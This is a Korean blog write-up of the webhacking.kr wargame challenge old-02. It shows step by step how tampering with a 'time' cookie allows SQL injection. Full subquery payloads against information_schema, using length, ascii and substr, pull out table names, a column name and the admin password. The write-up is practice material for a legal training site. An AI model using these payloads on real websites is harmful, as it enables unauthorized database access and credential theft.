Webhacking Writeup old-02 문제입니다.

사이트에 접속하면 loggin만 출력될 뿐 아무반응이 없습니다.
해서 코드를 열어보면

주석으로 현재시간과 admin.php라는게 존재한다고 알려주고 있습니다.
admin.php에 접속을 해보면 pw를 제출하는 input창이 존재합니다.

여러 방법을 시도했지만 방법이 안보여 다시 처음페이지로 돌아온 뒤
쿠키를 살펴봤습니다.
쿠키에는 time라는 이름으로 현재시간 값이 설정된것으로 보입니다.

여기서 막혔는데 쿠키값을 변조해보라는 지인의 힌트를 받았습니다.

time을 1로 바꿔보면 시간의 초단위가 1로 바뀐것을 확인 할수 있었습니다.

0을 입력하게 되면 False가 되어서 인지 결과가 출력되지 않습니다.

결과값이 1이상의 숫자이기만 하면 가능한건지
select 123을 이용해봤더니


123이 2분 3초로 바뀌어 출력되었습니다.
위 내용을 토대로 SQL인젝션 공격이 가능하다고 판단해 information을 활용한 테이블이름과 컬럼조회를 시작했습니다.
아래는 테이블 확인을 위한 코드로
(select count(table_name) from information_schema.tables where table_schema=database())
현재DB에 테이블이 몇개 존재하는지 확인하기 위한 코드입니다.
쿠키에 값을 넣어 전달해보면 2초가 되는 것으로 테이블이 2개 존재한다는 것을 확인했습니다.

현재는 이름을 모르니 첫번째 테이블 두번째 테이블로 나눠 각각의 이름을 찾는 코드가 필요합니다.
이때 사용할 것은 limit로 결과가 여러개일때 하나만 출력할 수 있는 SQL구문입니다.
limit를 활용해 코드를 구성하면
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
length() 함수로 결과값을 table의 길이 숫자로 출력되게 해서 쿠키에 값을 넣어 전달해보면

첫번째 테이블 이름의 길이는 13임을 알수 있습니다.
limit값을 조정해서 값을 전달해 두번째 테이블도 확인해보면
(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)

두번째 테이블 이름의 길이는 3이라고 합니다.
이제 테이블의 이름을 찾아야 합니다.
하지만 결과는 무조건 숫자로만 확인이 가능하니 ascii() 함수를 활용해 문자를 숫자로 변경해
출력하는 것이 필요합니다.
ascii()함수를 이용해 값을 구성하면 아래와 같이 작성이 가능합니다.
(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)
첫번째 는 길이가 13이나 되니 짧은 두번째 부터 확인을 해보면

1분48초 즉 108이라는 결과가 출력되었습니다.
3개를 전부 찾아보니
108 111 103 이 출력되었고 이를 ascii코드를 텍스트 변환기에 넣어보니 log
테이블의 이름을 찾았습니다.

위와 같은 방법으로 첫번째 테이블의 값도 찾아보면

admin_area_pw라는 테이블을 찾았습니다.
이전에 admin.php라는 페이지에 pw의 값을 입력하라고 했으니
admin_area_pw테이블에 pw의 값이 있을 것으로 예상됩니다.
테이블을 찾았으니 컬럼의 갯수와 컬럼의 이름도 같은 방법으로 찾아보면
(select count(column_name) from information_schema.columns where table_name='admin_area_pw')

컬럼의 갯수는 1개임을 확인하고
(select length(column_name) from information_schema.columns where table_name='admin_area_pw')

컬럼의 이름은 2글자
(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='admin_area_pw')

컬럼의 이름은 pw라고 합니다.
위에서 사용한 SQL구문과 동일한 구조로
찾은 테이블명 => admin_area_pw
찾은 컬럼명 => pw 을 이용해
(select count(pw) from admin_area_pw) //pw의 컬럼에 존재하는 pw의 갯수
(select length(pw) from admin_area_pw) //pw의 길이
(select ascii(substr(pw,1,1)) from admin_area_pw) //pw각 길이의 ascii값
결과를 확인해보면
컬럼에 존재하는 pw의 값은 1개
pw의 길이는 17
pw의 ascii코드 값을 찾아 변환기로 확인해보면

pw의 값을 확인할 수 있습니다.
찾은 pw를 admin.php에 제출해보면

점수를 획득하면서 문제가 해결되었습니다!
'Wargame(Web) > Webhacking.kr Writeup' 카테고리의 다른 글
Webhacking Writeup old-36 문제 (0) | 2022.12.05 |
---|---|
Webhacking Writeup old-47 문제 (0) | 2022.12.05 |
Webhacking Writeup alien golf문제 (0) | 2022.11.30 |
Webhacking Writeup 30번 문제 (0) | 2022.10.28 |
Webhacking Writeup 28번 문제 (1) | 2022.10.13 |